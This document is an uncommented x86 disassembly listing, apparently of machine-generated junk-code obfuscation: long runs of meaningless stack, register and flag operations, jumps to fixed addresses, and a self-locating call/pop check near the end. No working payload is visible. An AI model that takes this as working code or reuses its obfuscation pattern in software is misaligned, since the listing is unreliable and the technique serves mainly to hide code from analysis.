pop word [esp + 0x24]
pop word [esp + 0x31]
pop word [esp + 0x1a]
cmc
pop dword [esp + 0x11]
mov dword [esp + 9], edx
lea esp, [esp + 9]
push ax
pop dword [esp + 0x13]
pop word [esp + 0x1f]
mov dword [esp + 0x23], esi
cld
clc
mov word [esp + 2], sp
sub esp, 2
push word [esp + 0x34]
push word [esp + 0x2a]
sub esp, 0xa
mov byte [esp + 0x14], bl
pop word [esp + 0x29]
push eax
mov word [esp + 0x29], si
pop word [esp + 1]
mov dword [esp + 0x1d], edi
mov byte [esp + 0x30], ah
push bp
mov word [esp + 0x29], cx
push word [esp + 0x3a]
pushfd
mov byte [esp + 0x12], ch
sub esp, 0x1a
lea esp, [esp + 0x65]
pushfd
push word [esp + 1]
mov word [esp], cx
jmp 0x7a7d46
push word [esp + 9]
push dword [esp + 0x10]
push word [esp + 2]
mov word [esp + 0x14], cx
pop dword [esp + 2]
add esp, 7
pop word [esp + 1]
push cx
sub esp, 9
add esp, 8
sub esp, 0xb
sub esp, 0xa
pushfd
pop dword [esp + 0xa]
cmc
sub esp, 0
sub esp, 0x1e
pop dword [esp + 0x26]
sub esp, 1
add esp, 0x3a
sub esp, 0xb
mov byte [esp + 3], cl
mov word [esp + 0xa], cx
push edx
lea esp, [esp + 0x10]
lea esp, [esp + 1]
clc
cld
clc
add esp, 0
push esi
push ax
push esp
mov byte [esp + 6], bh
mov dword [esp + 2], eax
lea esp, [esp + 8]
lea esp, [esp]
mov word [esp], si
mov byte [esp], bl
add esp, 2
lea esp, [esp]
cld
pushfd
push dword [esp + 1]
cmc
mov word [esp + 1], sp
pop dword [esp]
push esp
add esp, 0
mov dword [esp + 4], edi
push dx
clc
mov dword [esp + 5], esi
pushal
push di
sub esp, 0xf
sub esp, 8
add esp, 0x30
push word [esp + 1]
mov byte [esp + 1], cl
pushal
clc
mov word [esp + 0x15], bx
add esp, 2
push word [esp + 1]
pop dword [esp + 1]
push word [esp + 8]
push dword [esp + 0x1c]
pushfd
push dword [esp + 0x12]
push dword [esp + 0x21]
stc
mov word [esp + 6], bp
mov dword [esp + 0x2e], ecx
mov dword [esp + 0x24], ecx
mov byte [esp + 0x1d], bl
mov word [esp + 0x3f], bp
pop word [esp + 0x16]
pop word [esp + 0xe]
mov dword [esp + 0x12], eax
add esp, 0x23
cld
mov word [esp + 5], ax
mov word [esp + 0xb], bx
add esp, 6
clc
push dword [esp + 0x12]
sub esp, 0xa
mov dword [esp + 9], ebx
mov word [esp + 0x1b], sp
pop word [esp + 0x18]
add esp, 0x14
lea esp, [esp + 0xb]
pushfd
pop word [esp + 2]
push si
add esp, 5
stc
push dx
mov word [esp], bp
mov dword [esp], esi
push dword [esp]
sub esp, 0x18
push edx
sub esp, 7
push ebp
mov word [esp + 0x1a], di
push dword [esp + 7]
mov dword [esp + 0x2b], ebx
push word [esp + 0x10]
lea esp, [esp + 0x13]
push word [esp + 0x20]
pop word [esp + 0x1c]
mov word [esp + 0x10], cx
mov byte [esp + 0x12], bh
add esp, 0x21
clc
stc
sub esp, 0x1f
cmc
push esp
push dword [esp + 0x1d]
pop dword [esp + 0x14]
sub esp, 2
mov word [esp + 0xb], bp
mov word [esp + 9], ax
mov dword [esp + 0xf], ebx
clc
pop word [esp + 7]
pop dword [esp + 0x11]
cmc
lea esp, [esp + 0x19]
sub esp, 0x13
pop word [esp + 9]
push word [esp + 0xc]
stc
lea esp, [esp + 0xe]
push dword [esp + 9]
add esp, 0xd
sub esp, 2
lea esp, [esp]
pop word [esp + 1]
push si
push dword [esp + 1]
pop dword [esp]
sub esp, 0x1f
mov byte [esp + 9], al
push word [esp + 0x17]
push dword [esp + 0x1a]
sub esp, 4
cld
push word [esp + 0x1c]
pop word [esp + 0x2c]
lea esp, [esp + 0x28]
push dword [esp + 5]
pop dword [esp]
push word [esp + 3]
cmc
mov word [esp + 2], bp
push dword [esp + 1]
add esp, 0xa
add esp, 1
add esp, 1
add esp, 0
mov byte [esp], ah
pushfd
pop word [esp]
cmc
push di
pushfd
cld
push dword [esp]
pushfd
pop word [esp + 0xa]
pushfd
mov word [esp + 6], di
pop dword [esp + 5]
stc
sub esp, 3
clc
mov dword [esp + 8], ecx
mov word [esp + 0xb], cx
pop word [esp + 5]
lea esp, [esp + 5]
add esp, 7
mov dword [esp], edx
lea esp, [esp + 1]
sub esp, 0
lea esp, [esp]
lea esp, [esp + 2]
mov byte [esp], ch
add esp, 0
sub esp, 0xb
add esp, 9
cld
mov word [esp], bp
clc
mov byte [esp + 1], al
lea esp, [esp]
mov word [esp], cx
mov byte [esp], bh
lea esp, [esp + 1]
mov byte [esp], bl
sub esp, 0xe
push dword [esp + 3]
pop word [esp + 0xd]
pop dword [esp + 9]
pushal
pop word [esp + 0x20]
sub esp, 0x1e
mov byte [esp + 0x1d], ch
add esp, 0x33
mov dword [esp + 8], esi
push dword [esp + 0x11]
mov dword [esp + 0x13], ecx
add esp, 1
pop dword [esp + 7]
sub esp, 0x1b
mov word [esp + 0x1c], cx
sub esp, 0x1f
cld
mov word [esp + 0x3e], cx
lea esp, [esp + 0xf]
stc
push ax
mov word [esp + 0x38], bx
stc
add esp, 0x1b
mov word [esp + 0x1e], bp
push dword [esp + 6]
pop word [esp + 4]
mov dword [esp + 0x18], eax
add esp, 0xa
pop word [esp]
mov word [esp + 9], dx
add esp, 9
sub esp, 0x1e
sub esp, 2
add esp, 0x22
pushfd
pop dword [esp + 4]
clc
add esp, 4
pop word [esp + 0xa]
lea esp, [esp + 0xa]
sub esp, 4
mov byte [esp + 4], dh
push eax
push dword [esp + 1]
cmc
mov dword [esp + 2], ebx
push dword [esp + 0xd]
sub esp, 0x1b
lea esp, [esp + 0x2b]
cld
mov byte [esp + 1], dh
sub esp, 0xd
add esp, 4
mov word [esp + 1], ax
add esp, 6
add esp, 2
lea esp, [esp + 2]
sub esp, 0x1d
mov dword [esp + 0xa], ebp
pop dword [esp + 0x16]
mov word [esp + 0x18], ax
push dword [esp + 0x14]
push esi
cmc
stc
stc
lea esp, [esp + 0x1e]
lea esp, [esp]
add esp, 4
lea esp, [esp]
clc
cmc
cmc
push ebp
add esp, 4
lea esp, [esp]
pushal
clc
sub esp, 0x14
push word [esp + 0x33]
add esp, 0x20
push word [esp + 0xa]
mov dword [esp + 1], ebx
add esp, 0x10
add esp, 4
mov dword [esp], edx
cmc
cmc
lea esp, [esp + 2]
lea esp, [esp + 2]
sub esp, 0x1f
cmc
sub esp, 6
push bp
mov word [esp + 0x1a], bp
push word [esp + 0xb]
pushal
mov byte [esp + 0x22], dh
mov byte [esp + 0x3d], dh
push dword [esp + 0x16]
mov dword [esp + 8], esp
push word [esp + 0x36]
push word [esp + 6]
lea esp, [esp + 0x52]
sub esp, 0x19
add esp, 0x11
sub esp, 1
mov word [esp + 6], bp
add esp, 6
sub esp, 8
mov word [esp], sp
cmc
add esp, 6
mov dword [esp], edi
push word [esp + 4]
push dword [esp + 1]
push word [esp + 1]
sub esp, 0x11
sub esp, 0x11
mov word [esp + 0x16], cx
pushfd
clc
add esp, 0xe
mov dword [esp + 0x1f], ebx
sub esp, 0xe
pop dword [esp + 0x19]
sub esp, 0x1c
mov word [esp + 0x2f], dx
add esp, 0x4a
sub esp, 0xf
mov dword [esp + 3], ebx
add esp, 8
pushal
add esp, 0x26
stc
lea esp, [esp + 1]
cld
mov byte [esp], bh
cmc
add esp, 0
stc
add esp, 0
lea esp, [esp]
mov byte [esp], bh
push ecx
mov dword [esp], edi
add esp, 3
mov word [esp], sp
mov byte [esp], al
sub esp, 0x14
mov word [esp + 0xd], si
mov byte [esp + 0xa], bh
push word [esp + 2]
push sp
pushal
cmc
add esp, 0x18
mov dword [esp + 0xa], eax
pop dword [esp + 0x19]
pop dword [esp + 5]
mov byte [esp + 7], cl
lea esp, [esp + 0x13]
push dx
lea esp, [esp + 7]
sub esp, 0xd
sub esp, 0x11
push word [esp + 0x14]
lea esp, [esp + 0x16]
pop word [esp]
lea esp, [esp + 9]
clc
lea esp, [esp]
add esp, 0
cld
mov byte [esp], cl
lea esp, [esp]
mov byte [esp], cl
lea esp, [esp]
cmc
clc
add esp, 0
add esp, 0
sub esp, 0x1e
lea esp, [esp + 2]
sub esp, 0xc
push dword [esp + 2]
pop dword [esp + 0x1a]
push word [esp + 5]
cld
add esp, 1
mov word [esp + 0x15], cx
lea esp, [esp + 1]
cmc
lea esp, [esp + 0x26]
add esp, 0
push word [esp + 1]
push dword [esp + 3]
sub esp, 0xe
mov dword [esp + 0x12], esi
clc
clc
pop word [esp + 6]
push dword [esp + 0x14]
push word [esp + 0xc]
pop word [esp + 0xb]
lea esp, [esp + 8]
pop word [esp + 2]
mov byte [esp + 2], al
cld
cmc
push dword [esp + 5]
add esp, 0x12
push esi
mov dword [esp], edx
pop word [esp]
push word [esp + 2]
push bx
lea esp, [esp + 6]
lea esp, [esp]
mov byte [esp], ch
lea esp, [esp]
cld
sub esp, 0xe
mov dword [esp + 0xa], edx
mov dword [esp + 3], ecx
mov byte [esp + 0xa], dl
stc
pop word [esp + 1]
mov byte [esp + 0xa], bl
pop dword [esp + 4]
pop word [esp + 2]
stc
sub esp, 7
pop dword [esp + 2]
pop dword [esp]
lea esp, [esp + 4]
clc
mov word [esp], cx
lea esp, [esp + 1]
add esp, 0
stc
stc
lea esp, [esp]
clc
add esp, 0
cld
stc
lea esp, [esp]
lea esp, [esp]
push ebx
stc
lea esp, [esp + 1]
lea esp, [esp]
lea esp, [esp + 2]
lea esp, [esp]
lea esp, [esp]
lea esp, [esp + 1]
add esp, 0
clc
clc
pushal
clc
push word [esp + 0x17]
mov dword [esp + 0xa], edi
mov dword [esp + 0x1d], esi
lea esp, [esp + 0x17]
mov dword [esp + 3], esi
push dword [esp + 2]
stc
sub esp, 0x16
push word [esp + 0x19]
pushal
jmp 0x7a7e78
mov byte [esp + 8], dh
cmc
sub esp, 0x14
push dword [esp + 0x15]
mov byte [esp + 8], ch
lea esp, [esp + 5]
mov word [esp], dx
stc
pop dword [esp + 5]
push dword [esp + 0x11]
push ax
push word [esp + 0xa]
pop dword [esp + 0xb]
clc
pop word [esp + 0x14]
pop dword [esp + 4]
sub esp, 0x12
clc
mov byte [esp + 1], cl
mov word [esp + 0x24], ax
mov byte [esp + 5], cl
push edx
push word [esp + 1]
mov byte [esp + 9], cl
push cx
push dword [esp + 0x1d]
push dword [esp + 0x2c]
mov dword [esp + 8], edi
push word [esp + 0x1a]
clc
lea esp, [esp + 0x13]
mov byte [esp + 0xb], al
lea esp, [esp + 0x22]
mov word [esp + 4], di
push word [esp + 5]
pop word [esp + 4]
clc
push di
cmc
mov dword [esp + 1], ebp
push di
pop word [esp + 3]
push bp
add esp, 3
cld
pop dword [esp]
sub esp, 0x15
pop word [esp + 0x10]
lea esp, [esp + 9]
sub esp, 0x10
mov byte [esp + 0x13], al
push bx
cld
sub esp, 0x11
pop dword [esp + 0xd]
pushfd
cmc
pop dword [esp + 0x12]
pop dword [esp + 0xf]
pop dword [esp + 0x19]
cld
lea esp, [esp + 0x21]
mov byte [esp], bl
cmc
mov dword [esp], esp
sub esp, 0x1b
add esp, 0x1c
add esp, 3
add esp, 0
lea esp, [esp]
push eax
sub esp, 9
mov byte [esp + 7], cl
lea esp, [esp + 7]
mov byte [esp + 5], dh
mov word [esp + 4], sp
push sp
lea esp, [esp + 4]
push word [esp]
pop word [esp + 1]
push dword [esp]
lea esp, [esp + 4]
mov word [esp], sp
cmc
push dword [esp + 4]
pop word [esp + 4]
push word [esp + 4]
push dword [esp + 3]
mov dword [esp + 8], ebp
lea esp, [esp + 9]
sub esp, 0x1b
push ecx
sub esp, 5
sub esp, 0xb
lea esp, [esp + 0x12]
push dword [esp + 4]
mov dword [esp], esp
push dword [esp + 1]
stc
cld
pop dword [esp + 0xa]
push word [esp + 0x23]
pop dword [esp + 1]
sub esp, 0x1c
cld
push word [esp + 0xb]
pop word [esp + 5]
pop dword [esp + 0xd]
pop dword [esp + 7]
lea esp, [esp + 0x22]
lea esp, [esp + 8]
add esp, 8
pop word [esp]
push word [esp]
push word [esp + 2]
push dword [esp + 1]
mov byte [esp + 1], dh
mov byte [esp + 1], ah
push word [esp + 8]
pop dword [esp + 1]
push word [esp + 5]
push esi
mov byte [esp + 0xd], bl
push word [esp + 9]
cmc
mov word [esp + 1], bp
lea esp, [esp + 2]
mov word [esp + 3], bx
clc
jmp 0x7a7f0f
push cx
cld
lea esp, [esp + 1]
sub esp, 0x18
add esp, 4
push word [esp + 6]
sub esp, 8
cld
push edi
mov byte [esp + 0x12], ah
pop word [esp + 7]
add esp, 0x10
cmc
mov word [esp + 0xe], dx
add esp, 7
push dword [esp + 9]
pop word [esp + 2]
add esp, 8
mov byte [esp + 1], al
cmc
pop word [esp]
clc
push word [esp]
pop word [esp]
sub esp, 1
sub esp, 0x1a
pop dword [esp + 4]
push dword [esp + 0x16]
mov byte [esp + 7], al
add esp, 6
add esp, 5
pop dword [esp + 3]
add esp, 0xb
add esp, 2
mov byte [esp], bl
mov byte [esp], bh
mov byte [esp], ah
lea esp, [esp]
add esp, 0
add esp, 0
pushal
lea esp, [esp + 0x14]
push dword [esp + 6]
sub esp, 0x10
mov dword [esp], edx
clc
mov byte [esp + 5], ch
cmc
sub esp, 0x11
pop word [esp + 0xc]
mov dword [esp + 0x26], ebp
mov word [esp + 0x12], bp
add esp, 0x22
pop dword [esp + 4]
push word [esp + 5]
clc
cmc
cmc
mov word [esp + 8], sp
mov word [esp + 8], sp
push esi
lea esp, [esp + 5]
push word [esp + 2]
sub esp, 0x1a
push word [esp + 0x24]
sub esp, 6
lea esp, [esp + 0x2d]
clc
sub esp, 0x14
push dword [esp + 7]
pop word [esp + 0x12]
pushal
mov byte [esp + 0x26], ch
push ebx
pop dword [esp + 3]
pushfd
sub esp, 0xd
sub esp, 0xf
lea esp, [esp + 0x58]
sub esp, 0x1f
mov byte [esp + 4], al
lea esp, [esp + 2]
mov byte [esp + 2], bl
stc
push dword [esp + 0x18]
mov dword [esp + 2], edi
mov byte [esp + 0x18], bl
sub esp, 0x12
push word [esp + 0x1d]
stc
pushal
lea esp, [esp + 0x55]
sub esp, 0x12
push word [esp + 4]
sub esp, 1
pop dword [esp + 8]
pop word [esp + 8]
push dword [esp + 7]
lea esp, [esp + 4]
push dword [esp + 3]
mov dword [esp + 7], edi
push word [esp + 0x12]
mov byte [esp + 1], cl
lea esp, [esp + 0xe]
lea esp, [esp]
mov dword [esp], ebp
mov byte [esp + 2], bh
lea esp, [esp + 5]
push dx
cmc
pop word [esp]
lea esp, [esp + 1]
lea esp, [esp]
add esp, 0
lea esp, [esp]
pushal
lea esp, [esp + 4]
mov word [esp + 0x11], cx
cmc
sub esp, 0x1d
push dword [esp + 4]
pop word [esp + 0x37]
lea esp, [esp + 0x2f]
push word [esp + 0xa]
sub esp, 0x10
cld
push word [esp + 0x18]
stc
push dword [esp + 0x1a]
mov byte [esp + 0x1b], ah
push word [esp + 3]
mov byte [esp + 0x1e], ah
push dword [esp + 0x18]
push dword [esp + 0x1d]
mov word [esp], dx
pop word [esp + 0x10]
pop dword [esp + 0x21]
push ebx
push word [esp + 5]
mov word [esp + 0x2a], sp
sub esp, 1
lea esp, [esp + 0xb]
push dword [esp + 0x12]
pop word [esp + 0x1f]
pop word [esp + 0x1a]
lea esp, [esp + 0x20]
mov dword [esp], ebp
cld
push dword [esp + 4]
mov byte [esp + 2], al
clc
pushfd
push word [esp + 5]
stc
stc
cmc
pushal
add esp, 0x17
pushfd
push dword [esp + 7]
mov word [esp + 0xf], ax
mov word [esp + 2], si
push word [esp + 6]
lea esp, [esp + 0x1f]
pushfd
pop word [esp + 1]
pop word [esp]
push esp
stc
mov word [esp + 4], ax
cmc
lea esp, [esp + 4]
push word [esp + 1]
sub esp, 0x18
mov dword [esp + 0x14], ecx
mov word [esp + 2], di
add esp, 0x1c
stc
push dx
stc
push word [esp + 1]
mov dword [esp], ebp
pushfd
mov dword [esp + 4], edx
push word [esp + 2]
mov word [esp + 1], dx
pop dword [esp]
sub esp, 0x17
sub esp, 0x18
add esp, 0x2e
pop dword [esp]
mov word [esp], di
mov word [esp], ax
mov dword [esp], esp
push dword [esp + 2]
push word [esp + 5]
pushfd
sub esp, 0x14
add esp, 0x1d
push word [esp + 3]
push edi
add esp, 7
mov byte [esp + 2], cl
push eax
push word [esp + 2]
push word [esp + 6]
clc
jmp 0x7a84f0
pop dword [esp + 0x1f]
pushal
mov byte [esp + 0x2a], bh
pop dword [esp + 0x31]
push dword [esp + 0x34]
sub esp, 8
sub esp, 0x15
lea esp, [esp + 0x65]
pushfd
push word [esp + 3]
add esp, 3
stc
mov byte [esp + 1], bh
sub esp, 0x18
mov dword [esp + 0xa], ebx
mov byte [esp + 9], bl
add esp, 1
mov word [esp + 0x10], cx
add esp, 9
pop dword [esp + 8]
lea esp, [esp + 8]
cld
sub esp, 2
sub esp, 0xd
pop dword [esp + 0xa]
sub esp, 4
mov byte [esp + 0xd], cl
add esp, 0xc
mov byte [esp + 6], dl
push word [esp + 3]
push dword [esp + 8]
mov byte [esp + 1], dh
mov word [esp + 9], ax
mov word [esp + 2], bp
sub esp, 0x18
mov word [esp + 4], dx
mov dword [esp + 0x13], ecx
mov byte [esp + 0x1f], bh
pop word [esp + 0x11]
push word [esp + 6]
sub esp, 0xb
stc
pop dword [esp + 1]
add esp, 1
push dword [esp + 0x10]
mov byte [esp + 0x21], al
lea esp, [esp + 0x13]
clc
push si
add esp, 2
mov dword [esp], ebx
sub esp, 0x12
push dword [esp + 0x2b]
mov byte [esp + 0x17], bh
push word [esp + 0x15]
push dword [esp + 4]
add esp, 6
mov byte [esp + 0x31], cl
cld
pop dword [esp + 0xd]
mov byte [esp + 0x20], al
pop word [esp + 3]
pop dword [esp + 0x1a]
mov word [esp + 0x13], ax
pop dword [esp]
push dword [esp + 9]
sub esp, 0x1b
push word [esp + 0x29]
mov byte [esp + 0x29], cl
mov byte [esp + 0xb], ah
mov byte [esp + 0x14], cl
pop word [esp + 0x2b]
push dword [esp + 0x2d]
cmc
push word [esp + 0x2c]
clc
stc
pop word [esp + 0x20]
sub esp, 0xe
lea esp, [esp + 0x56]
sub esp, 0x15
mov dword [esp + 0xf], edx
mov byte [esp + 1], ah
lea esp, [esp + 2]
pop word [esp + 2]
pop word [esp + 8]
push word [esp]
pop dword [esp + 6]
mov byte [esp + 0xa], dl
mov byte [esp + 8], al
cmc
add esp, 7
mov word [esp], di
cld
mov byte [esp + 4], ch
push word [esp]
add esp, 3
lea esp, [esp + 1]
sub esp, 0x12
sub esp, 2
mov byte [esp + 0xc], dl
pop word [esp + 0xb]
push dword [esp + 0x13]
push esp
push word [esp + 0xc]
mov byte [esp + 0x12], cl
push dword [esp + 8]
push dword [esp + 0x1e]
push esp
push di
pop word [esp + 0x27]
cmc
mov word [esp + 4], cx
pushfd
pop dword [esp + 0x1d]
pushal
sub esp, 0x1e
lea esp, [esp + 0x6a]
sub esp, 0x13
mov word [esp + 0xe], dx
lea esp, [esp]
push word [esp]
pop dword [esp + 0xc]
push dword [esp + 0xa]
clc
mov byte [esp + 0xa], cl
pop word [esp + 2]
stc
pop dword [esp + 6]
mov dword [esp + 2], esi
mov word [esp + 9], ax
add esp, 6
push dword [esp + 8]
pop word [esp + 2]
push dword [esp + 3]
push dword [esp + 9]
mov byte [esp + 6], bh
mov byte [esp + 0xa], bh
sub esp, 0x19
stc
mov byte [esp + 0x27], bl
mov byte [esp + 0x17], al
pop dword [esp + 0x1f]
pop dword [esp + 5]
pop word [esp + 0x16]
lea esp, [esp + 4]
pop dword [esp]
pop dword [esp + 9]
pop word [esp + 8]
pop dword [esp + 8]
cmc
mov byte [esp + 2], dl
lea esp, [esp + 3]
push dword [esp + 2]
add esp, 8
pop word [esp + 4]
push word [esp + 3]
push esi
add esp, 0xc
sub esp, 0x1d
cmc
mov word [esp + 3], bx
push esi
mov word [esp + 8], bx
pop dword [esp + 0x17]
stc
mov byte [esp + 0x16], cl
push word [esp + 0x18]
add esp, 0x19
mov dword [esp], esi
push dword [esp + 3]
push dword [esp + 2]
mov dword [esp + 1], eax
pop dword [esp + 6]
pushfd
mov byte [esp + 0xa], dh
push dword [esp + 7]
lea esp, [esp + 0xc]
cld
mov byte [esp + 2], cl
push dword [esp + 3]
push dword [esp + 0xa]
mov word [esp + 8], cx
lea esp, [esp + 8]
cld
mov dword [esp], ebp
sub esp, 0xb
clc
mov byte [esp + 0xe], dl
push word [esp + 0xe]
mov byte [esp + 9], cl
mov dword [esp + 0xf], edx
mov dword [esp + 8], edx
pushfd
stc
lea esp, [esp + 0x11]
mov dword [esp], edx
pushal
lea esp, [esp + 4]
sub esp, 0x14
pop dword [esp + 0x1f]
push word [esp + 0x2f]
push dword [esp + 0x14]
lea esp, [esp + 0x14]
lea esp, [esp + 6]
mov byte [esp + 7], al
mov word [esp + 0x13], cx
lea esp, [esp + 0xd]
lea esp, [esp + 0xe]
push word [esp]
push word [esp + 2]
add esp, 2
mov byte [esp + 3], dl
mov dword [esp], ebp
pushfd
sub esp, 0x10
cld
sub esp, 0x12
pop dword [esp + 0x23]
lea esp, [esp + 0xc]
push ebp
pop word [esp + 0xc]
mov byte [esp + 0x1b], dh
sub esp, 0x1e
add esp, 0x31
push esi
mov dword [esp + 5], ebx
sub esp, 0x1e
mov byte [esp + 0xb], dl
lea esp, [esp + 0x24]
add esp, 8
mov byte [esp], bl
lea esp, [esp]
stc
sub esp, 1
mov word [esp], cx
add esp, 1
lea esp, [esp]
cld
add esp, 0
cld
pushfd
lea esp, [esp]
pop word [esp]
sub esp, 0x1a
push dword [esp + 0xc]
mov dword [esp + 5], edx
sub esp, 0x10
pushfd
push word [esp + 0x30]
pop word [esp + 0x1b]
pop dword [esp + 0xd]
pop dword [esp]
push dword [esp + 3]
pushfd
pop dword [esp + 0x21]
mov word [esp + 0x19], bp
add esp, 0xe
cmc
add esp, 0x12
add esp, 7
clc
pop word [esp + 4]
lea esp, [esp + 2]
mov word [esp + 2], sp
push word [esp + 2]
add esp, 7
lea esp, [esp]
pushfd
pop word [esp]
lea esp, [esp + 1]
mov word [esp], si
cmc
lea esp, [esp + 1]
lea esp, [esp]
add esp, 0
mov byte [esp], bh
mov byte [esp], ch
mov byte [esp], ah
mov byte [esp], bl
lea esp, [esp]
push di
sub esp, 8
mov word [esp + 8], dx
stc
pushfd
pushal
push dword [esp + 0x21]
sub esp, 0xe
pop word [esp + 0x29]
sub esp, 0x18
lea esp, [esp + 0x57]
sub esp, 0x17
push dword [esp + 0x14]
pop dword [esp + 0x10]
mov byte [esp + 7], ah
stc
pop dword [esp + 4]
mov word [esp + 2], dx
push word [esp + 0xa]
stc
clc
mov dword [esp + 0x10], edi
mov word [esp + 1], di
pop dword [esp + 8]
pop dword [esp + 6]
mov byte [esp + 2], al
pop dword [esp + 1]
pop dword [esp]
mov dword [esp], ebp
mov word [esp + 1], ax
sub esp, 0xe
push esp
push dword [esp + 0x15]
mov dword [esp + 0xb], eax
sub esp, 0x1f
pop word [esp + 0x16]
pop word [esp + 0x33]
clc
sub esp, 0x1a
mov dword [esp + 0x29], ebp
pop word [esp + 0x13]
mov byte [esp + 0x2a], ch
lea esp, [esp + 0x46]
mov word [esp], bp
stc
pop dword [esp]
mov dword [esp], ebp
lea esp, [esp + 1]
clc
lea esp, [esp]
sub esp, 9
pop word [esp + 7]
lea esp, [esp + 1]
push word [esp + 3]
push eax
sub esp, 0x17
sub esp, 0x1a
push word [esp + 0x3d]
cmc
cmc
pop dword [esp + 0x24]
mov byte [esp + 0x19], dl
mov byte [esp + 0x13], cl
push dword [esp + 0x2a]
sub esp, 3
sub esp, 0x1e
lea esp, [esp + 0x63]
pushfd
mov dword [esp], edx
push word [esp + 3]
pop word [esp + 1]
mov dword [esp], edi
sub esp, 0x12
add esp, 0x11
sub esp, 0xd
mov word [esp + 3], si
pop dword [esp + 2]
lea esp, [esp + 9]
push esp
pop word [esp + 3]
push word [esp + 5]
pop dword [esp]
pop word [esp]
mov byte [esp + 1], bh
sub esp, 3
sub esp, 0x1a
mov byte [esp + 0x1a], ah
push edx
push dword [esp + 3]
mov word [esp + 0x25], bx
mov dword [esp], ebx
cld
push word [esp + 0xe]
push si
stc
sub esp, 0x11
pushal
lea esp, [esp + 0x5d]
stc
cmc
cmc
stc
clc
push sp
push bp
sub esp, 0x16
push word [esp + 5]
mov dword [esp + 0xb], ecx
push word [esp + 0xd]
pop word [esp + 0x17]
mov word [esp], bx
clc
add esp, 0x1a
mov byte [esp], dl
mov byte [esp], bh
mov word [esp], ax
push word [esp]
mov word [esp + 1], ax
push word [esp + 2]
push dword [esp + 5]
stc
pop word [esp + 1]
mov dword [esp + 3], ebx
clc
mov dword [esp], edx
mov word [esp + 2], sp
mov word [esp], bx
push word [esp + 5]
pushfd
sub esp, 0x15
mov byte [esp + 5], bh
push dword [esp + 0x1e]
pushfd
sub esp, 0xe
mov byte [esp + 0x1a], ch
pop dword [esp + 0x1c]
lea esp, [esp + 0x14]
push word [esp + 7]
push dword [esp + 0x16]
sub esp, 0xa
pop dword [esp + 0x22]
lea esp, [esp + 0x15]
pop dword [esp + 6]
lea esp, [esp + 0xa]
cmc
push word [esp + 7]
push dword [esp + 3]
push word [esp + 2]
clc
push word [esp + 0xf]
lea esp, [esp + 0x13]
clc
pushal
push dword [esp + 0x11]
add esp, 6
add esp, 0xb
pushal
pop dword [esp + 1]
push word [esp + 0x1d]
add esp, 0x23
lea esp, [esp + 3]
push edi
cmc
mov word [esp + 4], dx
push word [esp + 0xa]
add esp, 4
mov byte [esp + 6], bh
stc
pushfd
mov byte [esp + 0xe], ch
sub esp, 0x12
pop dword [esp + 0xa]
push dword [esp + 0x13]
push dword [esp + 0x14]
push dword [esp + 1]
mov word [esp + 0xf], si
pushfd
stc
pop dword [esp + 7]
push word [esp + 0x14]
mov word [esp + 0x23], dx
pop dword [esp + 0x22]
mov word [esp + 0x13], bp
mov word [esp + 0x21], cx
mov dword [esp + 0xf], esp
clc
sub esp, 0xc
pop dword [esp + 0xf]
clc
pop dword [esp + 9]
add esp, 0x29
mov dword [esp], ebx
add esp, 1
push word [esp + 1]
mov dword [esp], ebp
mov word [esp + 3], si
mov dword [esp], ecx
push si
mov word [esp], cx
pop word [esp + 2]
stc
push word [esp + 2]
add esp, 0
mov byte [esp + 4], cl
stc
stc
pop word [esp + 3]
cld
mov byte [esp], cl
cmc
sub esp, 0x1e
sub esp, 1
clc
push word [esp + 0x21]
push dword [esp + 0x15]
mov dword [esp + 0x1e], esi
push ebx
push word [esp + 1]
push word [esp + 0x24]
pushal
lea esp, [esp + 0x53]
clc
jmp 0x7a86b2
call 0x7a90e2
pop eax
sub eax, 0x7a90e2
cmp dword [eax + 0x75cff5], 0
je 0x7a6e29
lea esp, [esp + 8]
popal
jmp 0x7a4da8
push 0xde14fbed
add dword [esp], 0x224e65fb
pushfd
pop word [esp]
push word [esp + 1]
mov dword [esp], eax
push dword [esp + 1]
lea esp, [esp + 7]
pushfd
lea esp, [esp + 1]
push dword [esp + 1]
push eax
lea esp, [esp + 5]
mov word [esp + 4], sp
mov byte [esp], ch
lea esp, [esp + 2]
mov word [esp], sp
pushal
push word [esp + 0xe]
pop word [esp + 0x10]
push dword [esp + 0x22]
lea esp, [esp + 0xc]
pop dword [esp + 0xc]
push bp
pop word [esp + 0xb]
pop dword [esp + 2]
mov dword [esp + 4], ecx
push dword [esp + 5]
mov word [esp + 3], bp
pop dword [esp + 0xf]
push dword [esp + 0xf]
push dword [esp + 0x16]
mov word [esp + 0x18], cx
pop word [esp + 0xb]
pop dword [esp + 0xb]
lea esp, [esp + 6]
pop dword [esp + 7]
mov word [esp], bp
pop word [esp + 7]
mov dword [esp + 4], esp
lea esp, [esp + 9]
push word [esp]
mov dword [esp], esi
mov dword [esp], ebp
pop word [esp]
mov word [esp], bp
pushal
pop word [esp + 0x13]
push dword [esp + 0x1d]
pushfd
pushal
pop dword [esp + 0x2c]
push esi
pop word [esp + 0x28]
pop dword [esp + 0x1b]
push word [esp + 0x20]
mov word [esp + 0x15], dx
mov dword [esp + 0x2d], ebx
pop dword [esp + 6]
pop dword [esp + 6]
push esi
mov word [esp + 0x20], si
pop word [esp + 0xb]
pop word [esp + 0x1b]
push word [esp + 2]
mov dword [esp + 0x2f], eax
push dword [esp + 0x16]
lea esp, [esp + 0x34]
push dword [esp + 7]
push word [esp + 4]
pop word [esp + 0xf]
pop word [esp + 9]
push dword [esp + 6]
lea esp, [esp + 0xd]
mov word [esp + 1], dx
pop word [esp + 1]
lea esp, [esp]
lea esp, [esp + 1]
mov byte [esp + 1], cl
pop word [esp]
push word [esp]
mov word [esp], bx
mov dword [esp], eax
pop word [esp]
mov word [esp], sp
lea esp, [esp]
lea esp, [esp]
push word [esp + 1]
push dword [esp]
pop word [esp + 2]
mov byte [esp], ch
push dword [esp]
push dword [esp + 7]
push dword [esp + 1]
pop word [esp + 0xa]
mov word [esp + 2], bx
mov word [esp + 5], sp
mov dword [esp + 8], edi
pushal
lea esp, [esp + 0x1d]
pushal
lea esp, [esp + 5]
lea esp, [esp + 2]
lea esp, [esp + 0x2c]
push 0
pushal
mov word [esp + 0x1b], di
mov byte [esp + 0x18], dl
lea esp, [esp + 0x1d]
lea esp, [esp + 1]
mov byte [esp], cl
mov byte [esp], ah
pushfd
mov dword [esp], esp
pushal
push word [esp + 0x11]
mov byte [esp + 0x1d], dl
push word [esp + 0x14]
push eax
pop dword [esp + 0x1c]
pop dword [esp + 0x1e]
mov word [esp + 9], si
mov byte [esp + 0x17], dl
mov byte [esp + 0x10], ch
mov byte [esp + 0x22], ch
mov byte [esp + 0x18], al
push dword [esp]
